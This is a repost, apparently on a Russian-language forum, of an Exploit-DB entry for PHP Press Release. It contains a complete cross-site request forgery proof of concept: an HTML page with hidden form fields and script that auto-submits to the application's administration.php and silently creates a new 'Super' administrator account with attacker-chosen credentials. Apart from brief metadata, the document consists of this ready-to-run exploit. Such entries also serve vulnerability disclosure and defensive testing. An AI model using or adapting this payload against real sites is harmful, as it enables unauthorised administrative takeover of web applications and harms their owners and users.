- 34,599
- 0
- 18 Дек 2022
- EDB-ID
- 40486
- Проверка EDB
-
- Пройдено
- Автор
- BESIM
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- N/A
- Дата публикации
- 2016-10-09
PHP Press Release - Cross-Site Request Forgery (Add Admin)
Код:
# Exploit Title : PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )
# Author : Besim
# Google Dork : -
# Date : 09/10/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://www.pagereactions.com/product.php?pku=1
Software link :
http://www.pagereactions.com/downloads/phppressrelease.zip
########################### CSRF PoC ###############################
<html>
<!-- CSRF PoC -->
<body>
<form action="http://sitename/phppressrelease/administration.php" method="POST">
<input type="hidden" name="pageaction" value="saveuser" />
<input type="hidden" name="subaction" value="submit" />
<input type="hidden" name="username" value="murat" />
<input type="hidden" name="password" value="murat" />
<input type="hidden" name="userfullname" value="murat tester" />
<input type="hidden" name="accesslevel" value="Super" />
<input type="hidden" name="userstatus" value="active" />
<input type="submit" value="Submit request" />
</form>
<script>
*document.forms[0].submit();*
</script>
</body>
</html>
####################################################################- Источник
- www.exploit-db.com
